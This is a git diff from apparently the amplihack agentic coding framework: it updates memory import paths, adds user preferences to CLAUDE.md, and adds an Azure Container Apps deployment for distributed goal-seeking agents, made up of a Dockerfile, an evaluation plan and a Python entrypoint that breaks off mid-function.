diff --git a/.claude/context/PROJECT.md b/.claude/context/PROJECT.md index 5f6b93012..898bc77a2 100644 --- a/.claude/context/PROJECT.md +++ b/.claude/context/PROJECT.md @@ -29,6 +29,7 @@ Development framework for Claude Code, GitHub Copilot CLI, and Microsoft Amplifi - **Language**: Python - **Language**: JavaScript/TypeScript - **Language**: Rust +- **Language**: Go - **Framework**: [Main framework if applicable] - **Database**: [Database system if applicable] diff --git a/.claude/tools/amplihack/hooks/agent_memory_hook.py b/.claude/tools/amplihack/hooks/agent_memory_hook.py index 20ad30b48..318d3a407 100755 --- a/.claude/tools/amplihack/hooks/agent_memory_hook.py +++ b/.claude/tools/amplihack/hooks/agent_memory_hook.py @@ -112,7 +112,7 @@ async def inject_memory_for_agents( try: # Import memory coordinator (lazy import to avoid startup overhead) from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Initialize coordinator with session_id coordinator = MemoryCoordinator(session_id=session_id or "hook_session") @@ -198,7 +198,7 @@ async def extract_learnings_from_conversation( try: # Import memory coordinator (lazy import) from amplihack.memory.coordinator import MemoryCoordinator, StorageRequest - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Initialize coordinator with session_id coordinator = MemoryCoordinator(session_id=session_id or "hook_session") diff --git a/.claude/tools/amplihack/hooks/session_stop.py b/.claude/tools/amplihack/hooks/session_stop.py index 3f7b6bb8d..3e5348fc0 100755 --- a/.claude/tools/amplihack/hooks/session_stop.py +++ b/.claude/tools/amplihack/hooks/session_stop.py @@ -31,7 +31,7 @@ def main(): try: # Import memory coordinator from amplihack.memory.coordinator import MemoryCoordinator - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Get session context from environment or stdin session_context = json.loads(sys.stdin.read()) if not sys.stdin.isatty() else {} diff --git a/:memory: b/:memory: new file mode 100644 index 000000000..e69de29bb diff --git a/CLAUDE.md b/CLAUDE.md index aad6d5128..8bd0a9688 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,6 +2,56 @@ # CLAUDE.md + + +## 🎯 USER PREFERENCES (MANDATORY - MUST FOLLOW) + +# User Preferences + +**MANDATORY**: These preferences MUST be followed by all agents. Priority #2 (only explicit user requirements override). + +## Autonomy + +Work autonomously. Follow workflows without asking permission between steps. Only ask when truly blocked on critical missing information. + +## Core Preferences + +| Setting | Value | +| ------------------- | -------------------------- | +| Verbosity | balanced | +| Communication Style | (not set) | +| Update Frequency | regular | +| Priority Type | balanced | +| Collaboration Style | autonomous and independent | +| Auto Update | ask | +| Neo4j Auto-Shutdown | ask | +| Preferred Languages | (not set) | +| Coding Standards | (not set) | + +## Workflow Configuration + +**Selected**: DEFAULT_WORKFLOW (`@~/.amplihack/.claude/workflows/DEFAULT_WORKFLOW.md`) +**Consensus Depth**: balanced + +Use CONSENSUS_WORKFLOW for: ambiguous requirements, architectural changes, critical/security code, public APIs. + +## Behavioral Rules + +- **No sycophancy**: Be direct, challenge wrong ideas, point out flaws. Never use "Great idea!", "Excellent point!", etc. See `@~/.amplihack/.claude/context/TRUST.md`. +- **Quality over speed**: Always prefer complete, high-quality work over fast delivery. + +## Learned Patterns + + + +## Managing Preferences + +Use `/amplihack:customize` to view or modify (`set`, `show`, `reset`, `learn`). + + + + + This file provides guidance to Claude Code when working with your codebase. It configures the amplihack agentic coding framework - a development tool that uses specialized AI agents to accelerate software development through intelligent diff --git a/amplifier-bundle/modules/hook-session-stop/amplifier_hook_session_stop/__init__.py b/amplifier-bundle/modules/hook-session-stop/amplifier_hook_session_stop/__init__.py index 4f41f07c2..10e47574d 100644 --- a/amplifier-bundle/modules/hook-session-stop/amplifier_hook_session_stop/__init__.py +++ b/amplifier-bundle/modules/hook-session-stop/amplifier_hook_session_stop/__init__.py @@ -179,7 +179,7 @@ async def __call__(self, event: str, data: dict[str, Any]) -> HookResult | None: coordinator = self._get_memory_coordinator(session_id) if coordinator: try: - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Store learning as SEMANTIC memory (reusable knowledge) learning_content = f"Agent {agent_type}: {agent_output[:500]}" diff --git a/amplifier-bundle/tools/amplihack/hooks/agent_memory_hook.py b/amplifier-bundle/tools/amplihack/hooks/agent_memory_hook.py index d1018bc4d..243293bbe 100755 --- a/amplifier-bundle/tools/amplihack/hooks/agent_memory_hook.py +++ b/amplifier-bundle/tools/amplihack/hooks/agent_memory_hook.py @@ -112,7 +112,7 @@ async def inject_memory_for_agents( try: # Import memory coordinator (lazy import to avoid startup overhead) from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Initialize coordinator with session_id coordinator = MemoryCoordinator(session_id=session_id or "hook_session") @@ -187,7 +187,7 @@ async def extract_learnings_from_conversation( try: # Import memory coordinator (lazy import) from amplihack.memory.coordinator import MemoryCoordinator, StorageRequest - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Initialize coordinator with session_id coordinator = MemoryCoordinator(session_id=session_id or "hook_session") diff --git a/amplifier-bundle/tools/amplihack/hooks/session_stop.py b/amplifier-bundle/tools/amplihack/hooks/session_stop.py index dab0e1ca4..41839c8cb 100755 --- a/amplifier-bundle/tools/amplihack/hooks/session_stop.py +++ b/amplifier-bundle/tools/amplihack/hooks/session_stop.py @@ -31,7 +31,7 @@ def main(): try: # Import memory coordinator from amplihack.memory.coordinator import MemoryCoordinator - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType # Get session context from environment or stdin session_context = json.loads(sys.stdin.read()) if not sys.stdin.isatty() else {} diff --git a/deploy/azure_hive/Dockerfile b/deploy/azure_hive/Dockerfile new file mode 100644 index 000000000..bf4a97d05 --- /dev/null +++ b/deploy/azure_hive/Dockerfile @@ -0,0 +1,35 @@ +FROM python:3.11-slim + +WORKDIR /app + +# System dependencies +RUN apt-get update && apt-get install -y --no-install-recommends \ + curl git build-essential ca-certificates \ + && rm -rf /var/lib/apt/lists/* + +# Copy full source tree and install from source so agents/ is included +COPY . /build +RUN cd /build && pip install --no-cache-dir . && \ + pip install --no-cache-dir kuzu && \ + pip install --no-cache-dir sentence-transformers && \ + pip install --no-cache-dir "azure-eventhub==5.11.7" redis pyyaml + +# Create non-root user (security best practice for Container Apps) +RUN useradd -m -s /bin/bash amplihack-agent \ + && mkdir -p /data \ + && chown -R amplihack-agent:amplihack-agent /app /data + +# Copy entrypoint +COPY deploy/azure_hive/agent_entrypoint.py /app/agent_entrypoint.py + +USER amplihack-agent +ENV HOME=/home/amplihack-agent + +# Data directory for Kuzu persistence (mounted as Azure File Share) +VOLUME ["/data"] + +# Health check via process existence +HEALTHCHECK --interval=30s --timeout=10s --start-period=30s --retries=3 \ + CMD python3 -c "import os, sys; sys.exit(0 if os.path.exists('/tmp/.agent_ready') else 1)" + +CMD ["python3", "/app/agent_entrypoint.py"] diff --git a/deploy/azure_hive/EVAL_PLAN.md b/deploy/azure_hive/EVAL_PLAN.md new file mode 100644 index 000000000..0deee88b2 --- /dev/null +++ b/deploy/azure_hive/EVAL_PLAN.md @@ -0,0 +1,180 @@ +# Distributed Eval Plan + +## Goal + +Run LongHorizonMemoryEval against distributed agents and achieve parity +with single-agent (90%+). The eval harness, grading, and report format +are identical — only the agent adapter differs. + +## Architecture + +``` +LongHorizonMemoryEval.run(RemoteAgentAdapter) + │ + ├── Phase 1: Learning (5000 turns) + │ └── adapter.learn_from_content(turn_text) + │ └── Send LEARN_CONTENT to Service Bus topic + │ with target_agent=agent-{learn_count % agent_count} + │ → Each agent's ServiceBusInputSource skips non-targeted messages + │ → Targeted agent processes via OODA: decide("store") → learn + │ → 5000/100 = 50 turns per agent + │ + ├── Phase 2: Wait for processing + │ └── First answer_question() call triggers _wait_for_agents_idle() + │ └── Polls agent-0 subscription queue depth via az CLI + │ └── Loops until activeMessageCount == 0 (no timeout) + │ └── Expected: ~12 min (50 real + 4950 skip-and-complete per agent) + │ + └── Phase 3: Questioning (50 questions) + └── adapter.answer_question(question_text) + ├── Send INPUT to Service Bus topic + │ with target_agent=agent-{question_count % agent_count} + │ and event_id=uuid for correlation + │ → Targeted agent processes via OODA: decide("answer") → act() + │ → act() calls answer_question(), prints to stdout + │ → act() fires on_answer(agent_name, answer) callback + │ → Entrypoint's AnswerPublisher.publish_answer() sends + │ {event_id, agent_id, answer} to eval-responses topic + │ + └── Background listener thread on adapter + → Subscribes to eval-responses topic (eval-reader subscription) + → Matches response by event_id + → Signals waiting answer_question() call + → No timeout — waits until answer arrives + + └── Phase 4: Grading + └── LongHorizonMemoryEval._grade_multi_vote() — identical to single-agent +``` + +## Code Walkthrough + +### 1. RemoteAgentAdapter.learn_from_content() +**File**: `deploy/azure_hive/remote_agent_adapter.py` + +```python +target_agent = self._learn_count % self._agent_count +target_name = f"agent-{target_agent}" +msg = {"event_type": "LEARN_CONTENT", "target_agent": target_name, ...} +self._sender.send_messages(msg) # → Service Bus topic (all subscriptions receive) +``` + +All 100 subscriptions receive the message, but only the targeted agent processes it. + +### 2. ServiceBusInputSource.next() — target filtering +**File**: `src/amplihack/agents/goal_seeking/input_source.py` + +```python +target = raw.get("target_agent", "") or payload.get("target_agent", "") +if target and target != self._agent_name: + self._receiver.complete_message(msg) # Skip — not for this agent + continue +``` + +Non-targeted agents complete the message (removing it from their queue) +without processing. This means each agent iterates through all 5000 messages +but only processes ~50. + +### 3. GoalSeekingAgent.on_answer callback +**File**: `src/amplihack/agents/goal_seeking/goal_seeking_agent.py` + +```python +# In act(), after producing an answer: +if self.on_answer: + self.on_answer(self._agent_name, output) +``` + +Set by entrypoint via DI: `agent.on_answer = answer_publisher.publish_answer` + +### 4. AnswerPublisher.publish_answer() +**File**: `deploy/azure_hive/agent_entrypoint.py` + +```python +def publish_answer(self, agent_name, answer): + msg = {"event_type": "EVAL_ANSWER", "event_id": self._current_event_id, + "agent_id": agent_name, "answer": answer} + self._sender.send_messages(msg) # → eval-responses topic +``` + +The `_current_event_id` is set by `_CorrelatingInputSource.next()` which +reads `event_id` from the incoming Service Bus message metadata before +the agent's process() call. + +### 5. _CorrelatingInputSource — event_id context setting +**File**: `deploy/azure_hive/agent_entrypoint.py` + +```python +def next(self): + text = self._source.next() + meta = getattr(self._source, "last_event_metadata", {}) + event_id = meta.get("event_id", "") + if event_id: + self._publisher.set_context(event_id, ...) + return text +``` + +This runs BEFORE agent.process(text), so the event_id is set when on_answer fires. + +### 6. RemoteAgentAdapter._listen_for_answers() — background thread +**File**: `deploy/azure_hive/remote_agent_adapter.py` + +```python +messages = receiver.receive_messages(max_message_count=50, max_wait_time=5) +for msg in messages: + body = json.loads(str(msg)) + event_id = body.get("event_id", "") + if event_id in self._answer_events: + self._pending_answers[event_id] = body.get("answer", "") + self._answer_events[event_id].set() # Signal waiting thread +``` + +### 7. RemoteAgentAdapter.answer_question() — waits for signal +**File**: `deploy/azure_hive/remote_agent_adapter.py` + +```python +answer_event = threading.Event() +self._answer_events[event_id] = answer_event +self._sender.send_messages(msg) # Send question +answer_event.wait() # No timeout — blocks until answer arrives +answer = self._pending_answers.pop(event_id) +return answer +``` + +## Known Failure Modes (from previous attempts) + +| # | Failure | Root Cause | Status | +|---|---------|-----------|--------| +| 1 | 0% score — no answers | Log Analytics polling found wrong/stale answers | Fixed: on_answer callback via Service Bus | +| 2 | Answers truncated to 200 chars | `logger.info(..., output[:200])` | Fixed: removed truncation | +| 3 | Wrong answer for wrong question | No correlation between question and answer | Fixed: event_id in message, matched in listener | +| 4 | All agents answer every question | Service Bus topic broadcasts to all | Fixed: target_agent field, ServiceBusInputSource skips | +| 5 | Timeout waiting for answers | 5000 messages per agent (broadcast) | Fixed: partitioned content, 50 per agent | +| 6 | AnswerPublisher stdout wrapping failed | print() not intercepted in all envs | Fixed: on_answer callback instead | +| 7 | Questions sent before content processed | Fixed time-based wait too short | Fixed: poll queue depth until 0, no timeout | +| 8 | eval-responses topic name wrong | AMPLIHACK_HIVE_NAME not set | Fixed: env var in Bicep | + +## Small-Scale Test Plan + +**Test**: 10 turns, 3 questions, 5 agents + +This specifically tests all 8 failure modes: +- 10 turns partitioned across 5 agents = 2 per agent (tests partitioning) +- Each agent receives 10 messages, skips 8, processes 2 (tests targeting) +- 3 questions to agents 0, 1, 2 (tests targeted question delivery) +- Answers must come back via eval-responses topic (tests callback) +- Answers must be full text (tests no truncation) +- Answers must match the correct question (tests event_id correlation) +- Questions must wait until queue empty (tests queue depth polling) +- eval-responses topic must use deployment-specific name (tests env var) + +**Expected score**: 90%+ (matching single-agent at same scale) + +**Validation checks**: +1. Agent-0 queue depth reaches 0 before questions sent +2. All 3 answers received via Service Bus (not timeout) +3. Each answer matches its question (not cross-contaminated) +4. Answers are full text (not truncated) +5. Score matches single-agent baseline at same turn count + +## Full-Scale Test Plan + +After small-scale passes: 5000 turns, 50 questions, 100 agents (Sonnet + Opus) diff --git a/deploy/azure_hive/agent_entrypoint.py b/deploy/azure_hive/agent_entrypoint.py new file mode 100644 index 000000000..9ca0ce83b --- /dev/null +++ b/deploy/azure_hive/agent_entrypoint.py @@ -0,0 +1,791 @@ +#!/usr/bin/env python3 +"""Agent entrypoint for Azure Container Apps hive deployment. + +Reads environment variables and starts the OODA loop with a GoalSeekingAgent. + +Architecture +------------ +All Event Hubs messages are uniform *input* fed to agent.process(input). +The agent classifies internally (store vs answer) and writes answers to stdout. +Container Apps streams stdout to Log Analytics — the eval reads from there. + +Transport: Azure Event Hubs (CBS-free AMQP — works reliably in Container Apps). + hive-events-{hiveName} — LEARN_CONTENT, INPUT, FEED_COMPLETE, AGENT_READY + hive-shards-{hiveName} — SHARD_QUERY, SHARD_RESPONSE (cross-shard DHT) + eval-responses-{hiveName} — EVAL_ANSWER (agent answers to eval harness) + +Each agent has a dedicated consumer group (cg-{agent_name}) for per-agent delivery. +Client-side filtering by target_agent ensures messages reach the right agent. + +v4 change: the OODA loop is now *event-driven* via EventHubsInputSource. +v6 change (issue #3034): proper DHT-based sharding via DistributedHiveGraph. +v7 change: dependency injection for shard transport. +v8 change: ALL transport moved from Azure Service Bus to Azure Event Hubs. + Service Bus CBS auth fails in Container Apps — EH works perfectly. + +Environment variables: + AMPLIHACK_AGENT_NAME -- unique agent identifier (required) + AMPLIHACK_AGENT_PROMPT -- agent system prompt + AMPLIHACK_AGENT_TOPOLOGY -- topology label (e.g. "hive", "ring") + AMPLIHACK_MEMORY_BACKEND -- "cognitive" | "hierarchical" (default: cognitive) + AMPLIHACK_MEMORY_TRANSPORT -- "local" | "azure_event_hubs" (default: local) + AMPLIHACK_MEMORY_CONNECTION_STRING -- (unused for EH transport; kept for compat) + AMPLIHACK_MEMORY_STORAGE_PATH -- storage path for memory data + AMPLIHACK_MODEL -- LLM model (e.g. "claude-sonnet-4-6") + ANTHROPIC_API_KEY -- required for LLM operations + AMPLIHACK_LOOP_INTERVAL -- poll interval seconds (legacy path only, default 30) + AMPLIHACK_EH_CONNECTION_STRING -- Event Hubs namespace connection string (required for EH) + AMPLIHACK_EH_NAME -- shard Event Hub name (default: hive-shards-{hiveName}) + AMPLIHACK_EH_INPUT_HUB -- input Event Hub name (default: hive-events-{hiveName}) + AMPLIHACK_EVAL_RESPONSE_HUB -- eval response Event Hub name (default: eval-responses-{hiveName}) + AMPLIHACK_HIVE_NAME -- hive deployment name (for hub naming) +""" + +from __future__ import annotations + +import json +import logging +import os +import signal +import sys +import threading +import time +from typing import Any + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +# Suppress verbose azure SDK AMQP logs — they flood stdout and hide agent output +logging.getLogger("azure.eventhub").setLevel(logging.WARNING) +logging.getLogger("azure.eventhub._pyamqp").setLevel(logging.WARNING) +logging.getLogger("uamqp").setLevel(logging.WARNING) +logger = logging.getLogger("agent_entrypoint") + +# Early diagnostic: confirm entrypoint started (before any connections) +print(f"[agent_entrypoint] Python {sys.version}", flush=True) +print( + f"[agent_entrypoint] AGENT_NAME={os.environ.get('AMPLIHACK_AGENT_NAME', 'UNSET')}", flush=True +) + + +# --------------------------------------------------------------------------- +# Shard query listener — event-driven, no polling sleep +# --------------------------------------------------------------------------- + + +def _shard_query_listener( + transport: Any, + agent_id: str, + shard_bus: Any, + shutdown_event: threading.Event, + agent: Any = None, +) -> None: + """Background thread: handle SHARD_QUERY and SHARD_RESPONSE events. + + Listens on the shard event bus for cross-shard queries. When SHARD_QUERY + arrives, delegates to transport.handle_shard_query(event, agent=agent) + which searches via CognitiveAdapter if agent is provided, otherwise falls + back to direct ShardStore.search(). When SHARD_RESPONSE arrives, + delegates to transport.handle_shard_response() which wakes the pending + query_shard() call via threading.Event. + + Polling strategy: + - EventHubsShardTransport: ``shard_bus`` is None; uses + ``transport.poll(agent_id)`` which blocks on the internal mailbox_ready + Event — no artificial sleep. + """ + logger.info("Agent %s shard query listener started", agent_id) + while not shutdown_event.is_set(): + try: + if shard_bus is not None: + events = shard_bus.poll(agent_id) + elif hasattr(transport, "poll"): + events = transport.poll(agent_id) + else: + events = [] + for event in events: + if event.event_type == "SHARD_QUERY": + transport.handle_shard_query(event, agent=agent) + elif event.event_type == "SHARD_RESPONSE": + transport.handle_shard_response(event) + elif event.event_type == "SHARD_STORE": + transport.handle_shard_store(event) + except Exception: + logger.debug("Shard query listener error for %s", agent_id, exc_info=True) + logger.info("Agent %s shard query listener exiting", agent_id) + + +def _init_dht_hive( + agent_name: str, + agent_count: int, + connection_string: str, + hive_name: str, + eh_connection_string: str = "", + eh_name: str = "", + consumer_group: str | None = None, +) -> tuple[object, object | None, object] | None: + """Initialize the DHT shard store for this agent using DI pattern. + + Uses EventHubsShardTransport when ``eh_connection_string`` and + ``eh_name`` are provided (Azure Event Hubs — CBS-free, reliable in + Container Apps). Returns None if Event Hubs env vars are absent. + + Registers ALL agents on the DHT ring so the router can route queries to + remote shards. Only the local agent has a real ShardStore; peer agents + are ring positions that trigger SHARD_QUERY events. + + Returns (dht_graph, None, transport) or None if init fails. + shard_bus is always None — EventHubsShardTransport handles receiving. + """ + try: + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + EventHubsShardTransport, + ) + + if not (eh_connection_string and eh_name): + logger.warning( + "AMPLIHACK_EH_CONNECTION_STRING / AMPLIHACK_EH_SHARDS_HUB not set — " + "DHT shard disabled for agent %s", + agent_name, + ) + return None + + eh_transport = EventHubsShardTransport( + connection_string=eh_connection_string, + eventhub_name=eh_name, + agent_id=agent_name, + consumer_group=consumer_group, + timeout=30.0, + ) + dht_graph = DistributedHiveGraph( + hive_id=f"shard-{agent_name}", + enable_gossip=False, + transport=eh_transport, + ) + for i in range(agent_count): + dht_graph.register_agent(f"agent-{i}") + + logger.info( + "DHT shard initialized for agent %s via Event Hubs '%s'", + agent_name, + eh_name, + ) + return dht_graph, None, eh_transport + + except Exception: + logger.warning( + "Failed to initialize DHT shard for agent %s — " + "running without cross-agent knowledge sharing", + agent_name, + exc_info=True, + ) + return None + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + + +def main() -> None: + agent_name = os.environ.get("AMPLIHACK_AGENT_NAME", "") + if not agent_name: + logger.error("AMPLIHACK_AGENT_NAME env var is required") + sys.exit(1) + + agent_prompt = os.environ.get("AMPLIHACK_AGENT_PROMPT", f"You are agent {agent_name}.") + topology = os.environ.get("AMPLIHACK_AGENT_TOPOLOGY", "hive") + transport = os.environ.get("AMPLIHACK_MEMORY_TRANSPORT", "local") + connection_string = os.environ.get("AMPLIHACK_MEMORY_CONNECTION_STRING", "") + storage_path = os.environ.get( + "AMPLIHACK_MEMORY_STORAGE_PATH", + f"/data/{agent_name}", + ) + model = os.environ.get("AMPLIHACK_MODEL") or os.environ.get("EVAL_MODEL") or None + hive_name = os.environ.get("AMPLIHACK_HIVE_NAME", "default") + + # Event Hubs connection string for all transport (input + shard + answers) + eh_connection_string = os.environ.get("AMPLIHACK_EH_CONNECTION_STRING", "") + eh_name = os.environ.get("AMPLIHACK_EH_NAME", f"hive-shards-{hive_name}") + eh_input_hub = os.environ.get("AMPLIHACK_EH_INPUT_HUB", f"hive-events-{hive_name}") + eh_eval_hub = os.environ.get("AMPLIHACK_EVAL_RESPONSE_HUB", f"eval-responses-{hive_name}") + + # Per-app consumer group: cg-app-{N}. Falls back to cg-{agent_name} for <=20 agents. + app_index = os.environ.get("AMPLIHACK_APP_INDEX", "") + consumer_group = f"cg-app-{app_index}" if app_index else f"cg-{agent_name}" + + logger.info( + "Starting agent: name=%s topology=%s transport=%s", + agent_name, + topology, + transport, + ) + + # ------------------------------------------------------------------ + # Initialize DHT shard store for cross-agent knowledge sharing. + # DI pattern: EventHubsShardTransport injected into DistributedHiveGraph. + # The graph is passed directly as hive_store — no wrapper classes. + # ------------------------------------------------------------------ + hive_store: Any | None = None + hive_bus: Any | None = None + shard_transport: Any | None = None + + if eh_connection_string: + agent_count = int(os.environ.get("AMPLIHACK_AGENT_COUNT", "5")) + result = _init_dht_hive( + agent_name, + agent_count, + connection_string, + hive_name, + eh_connection_string=eh_connection_string, + eh_name=eh_name, + consumer_group=consumer_group, + ) + if result: + hive_store, hive_bus, shard_transport = result + elif transport == "azure_service_bus" and connection_string: + agent_count = int(os.environ.get("AMPLIHACK_AGENT_COUNT", "5")) + result = _init_dht_hive( + agent_name, + agent_count, + connection_string, + hive_name, + ) + if result: + hive_store, hive_bus, shard_transport = result + + # Build GoalSeekingAgent — the single agent type with a pure OODA loop. + from pathlib import Path + + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + _storage = Path(storage_path) + _storage.mkdir(parents=True, exist_ok=True) + try: + agent = GoalSeekingAgent( + agent_name=agent_name, + storage_path=_storage, + use_hierarchical=True, + model=model, + hive_store=hive_store, + ) + except Exception: + logger.exception("Failed to initialize GoalSeekingAgent for agent %s", agent_name) + sys.exit(1) + logger.info( + "GoalSeekingAgent initialized for agent %s (hive_store=%s)", + agent_name, + "dht-sharded" if hive_store else "none", + ) + + # Build Memory facade — retained for Kuzu storage wiring only. + # Event Hubs handles all event transport now; the facade uses "local" + # transport since it no longer needs SB for receive_events(). + try: + from amplihack.memory.facade import Memory + + memory = Memory( + agent_name, + topology="distributed", + backend="cognitive", + memory_transport="local", + memory_connection_string="", + storage_path=storage_path, + ) + except Exception: + logger.exception("Failed to initialize Memory transport for agent %s", agent_name) + sys.exit(1) + + # Share Kuzu storage: wire Memory facade's adapter to GoalSeekingAgent's + # internal MemoryRetriever so both read/write the same Kuzu store. + memory._adapter = agent.memory + + # Bind agent to shard transport so LOCAL shard queries use CognitiveAdapter + # (n-gram + reranking) instead of primitive ShardStore.search(). + if shard_transport is not None and hasattr(shard_transport, "bind_agent"): + shard_transport.bind_agent(agent) + logger.info("Bound agent %s to shard transport for LOCAL queries", agent_name) + + # Store initial agent identity via OODA process() + agent.process(f"Agent identity: {agent_name}. Role: {agent_prompt}") + + # Set up answer publisher for eval answer correlation via on_answer callback. + answer_publisher = AnswerPublisher(agent_name, eh_connection_string, eh_eval_hub) + agent.on_answer = answer_publisher.publish_answer + + logger.info("Agent %s memory initialized and entering OODA loop", agent_name) + + # Signal readiness + try: + open("/tmp/.agent_ready", "w").close() + except OSError: + pass + + # Handle graceful shutdown + shutdown_event = threading.Event() + + def _handle_signal(signum, frame): + logger.info("Agent %s received signal %s, shutting down", agent_name, signum) + shutdown_event.set() + + signal.signal(signal.SIGTERM, _handle_signal) + signal.signal(signal.SIGINT, _handle_signal) + + # ------------------------------------------------------------------ + # Start background shard query listener for cross-shard queries. + # ------------------------------------------------------------------ + shard_query_thread = None + if shard_transport and (hive_bus is not None or hasattr(shard_transport, "poll")): + shard_query_thread = threading.Thread( + target=_shard_query_listener, + args=(shard_transport, agent_name, hive_bus, shutdown_event, agent), + daemon=True, + name=f"shard-query-{agent_name}", + ) + shard_query_thread.start() + logger.info("Agent %s started shard query listener for cross-shard queries", agent_name) + + # ------------------------------------------------------------------ + # Event-driven OODA loop: use EventHubsInputSource when EH vars are set. + # Falls back to the legacy timer-driven path for local transport. + # ------------------------------------------------------------------ + + if eh_connection_string: + logger.info( + "Agent %s using event-driven EventHubsInputSource (hub=%s, cg=%s)", + agent_name, + eh_input_hub, + consumer_group, + ) + from amplihack.agents.goal_seeking.input_source import EventHubsInputSource + + eh_source = EventHubsInputSource( + connection_string=eh_connection_string, + agent_name=agent_name, + eventhub_name=eh_input_hub, + consumer_group=consumer_group, + shutdown_event=shutdown_event, + starting_position="@latest", + ) + # Wrap the input source to set answer correlation context per message. + input_source = _CorrelatingInputSource(eh_source, answer_publisher) + try: + # Manual OODA loop to handle FEED_COMPLETE sentinel specially + _run_event_driven_loop( + agent_name, agent, input_source, answer_publisher, memory, shutdown_event + ) + finally: + eh_source.close() + else: + # Legacy timer-driven path — preserved for local transport / v3 compat. + logger.info( + "Agent %s using legacy timer-driven OODA loop (transport=%s)", + agent_name, + transport, + ) + loop_interval = int(os.environ.get("AMPLIHACK_LOOP_INTERVAL", "30")) + loop_count = 0 + while not shutdown_event.is_set(): + try: + _ooda_tick(agent_name, memory, loop_count, agent) + loop_count += 1 + except Exception: + logger.exception("Error in OODA loop tick for agent %s", agent_name) + for _ in range(loop_interval * 2): + if shutdown_event.is_set(): + break + time.sleep(0.5) + logger.info("Agent %s shutting down after %d loops", agent_name, loop_count) + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + shutdown_event.set() + + try: + agent.close() + except Exception: + logger.debug("Error closing GoalSeekingAgent", exc_info=True) + try: + answer_publisher.close() + except Exception: + logger.debug("Error closing AnswerPublisher", exc_info=True) + try: + memory.close() + except Exception: + logger.debug("Error closing memory transport", exc_info=True) + if hive_bus: + try: + hive_bus.close() + except Exception: + logger.debug("Error closing shard event bus", exc_info=True) + if shard_transport and hasattr(shard_transport, "close"): + try: + shard_transport.close() + except Exception: + logger.debug("Error closing shard transport", exc_info=True) + + if shard_query_thread and shard_query_thread.is_alive(): + shard_query_thread.join(timeout=5.0) + + +def _run_event_driven_loop( + agent_name: str, + agent: Any, + input_source: Any, + answer_publisher: Any, + memory: Any, + shutdown_event: threading.Event, +) -> None: + """Event-driven OODA loop using EventHubsInputSource. + + Processes each message from the input source. Handles FEED_COMPLETE + by publishing AGENT_READY to the eval-responses hub and continuing. + Returns when input_source.next() returns None (shutdown). + """ + + while not shutdown_event.is_set(): + text = input_source.next() + if text is None: + logger.info("Agent %s input source exhausted, exiting OODA loop", agent_name) + break + + if text.startswith("__FEED_COMPLETE__:"): + total_turns = text.split(":", 1)[1] + logger.info( + "Agent %s received FEED_COMPLETE (total_turns=%s). Publishing AGENT_READY.", + agent_name, + total_turns, + ) + # Extract run_id from the FEED_COMPLETE event metadata + run_id = "" + if hasattr(input_source, "_source"): + meta = getattr(input_source._source, "last_event_metadata", {}) + run_id = meta.get("run_id", "") + answer_publisher.publish_agent_ready(total_turns, run_id=run_id) + continue + + logger.info("Agent %s processing input via OODA (len=%d)", agent_name, len(text)) + try: + agent.process(text) + except Exception: + logger.exception("Error in OODA process for agent %s", agent_name) + + +def _handle_event(agent_name: str, event: Any, memory: Any, agent: Any) -> None: + """Dispatch an incoming event to the GoalSeekingAgent OODA loop. + + All event types are normalised to a plain input string and fed to + ``agent.process()``. The agent classifies internally (store vs answer). + + Special lifecycle events (FEED_COMPLETE, AGENT_READY, QUERY_RESPONSE) + are handled separately so they do not pollute the cognitive store. + + Args: + agent: GoalSeekingAgent instance. + memory: Memory facade used for transport only (AGENT_READY publish). + """ + event_type = getattr(event, "event_type", None) or ( + event.get("event_type") if isinstance(event, dict) else None + ) + payload = getattr(event, "payload", None) or ( + event.get("payload") if isinstance(event, dict) else {} + ) + + if event_type == "FEED_COMPLETE": + total_turns = (payload or {}).get("total_turns", "?") + logger.info( + "Agent %s received FEED_COMPLETE (total_turns=%s). Publishing AGENT_READY.", + agent_name, + total_turns, + ) + import uuid as _uuid + + ready_event = { + "event_id": _uuid.uuid4().hex, + "event_type": "AGENT_READY", + "source_agent": agent_name, + "timestamp": time.time(), + "payload": {"agent_name": agent_name, "total_turns": total_turns}, + } + if hasattr(memory, "_transport") and hasattr(memory._transport, "publish"): + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + + memory._transport.publish( + BusEvent( + event_id=ready_event["event_id"], + event_type="AGENT_READY", + source_agent=agent_name, + timestamp=ready_event["timestamp"], + payload=ready_event["payload"], + ) + ) + elif hasattr(memory, "send_event"): + memory.send_event(json.dumps(ready_event)) + logger.info("Agent %s published AGENT_READY", agent_name) + return + + if event_type in ("AGENT_READY",): + return + + if event_type in ("QUERY_RESPONSE", "network_graph.search_response"): + query_id = (payload or {}).get("query_id", "") + logger.debug( + "Agent %s received %s (query_id=%s) — acknowledged", + agent_name, + event_type, + query_id, + ) + return + + input_text = _extract_input_text(event_type, payload, event) + if input_text: + logger.info( + "Agent %s processing input via OODA (event_type=%s, len=%d)", + agent_name, + event_type or "unknown", + len(input_text), + ) + agent.process(input_text) + else: + logger.warning( + "Agent %s received event with no extractable text (event_type=%s)", + agent_name, + event_type, + ) + + +class _CorrelatingInputSource: + """InputSource wrapper that sets AnswerPublisher context per message. + + Delegates to the real EventHubsInputSource. After each next() call, + reads the event metadata (event_id) and sets it on the AnswerPublisher + so the agent's ANSWER stdout line gets correlated. + + The agent's OODA loop sees this as a normal InputSource — same interface. + """ + + def __init__(self, source: Any, publisher: Any) -> None: + self._source = source + self._publisher = publisher + + def next(self) -> str | None: + text = self._source.next() + meta = getattr(self._source, "last_event_metadata", {}) + event_id = meta.get("event_id", "") + question_id = meta.get("question_id", "") + run_id = meta.get("run_id", "") 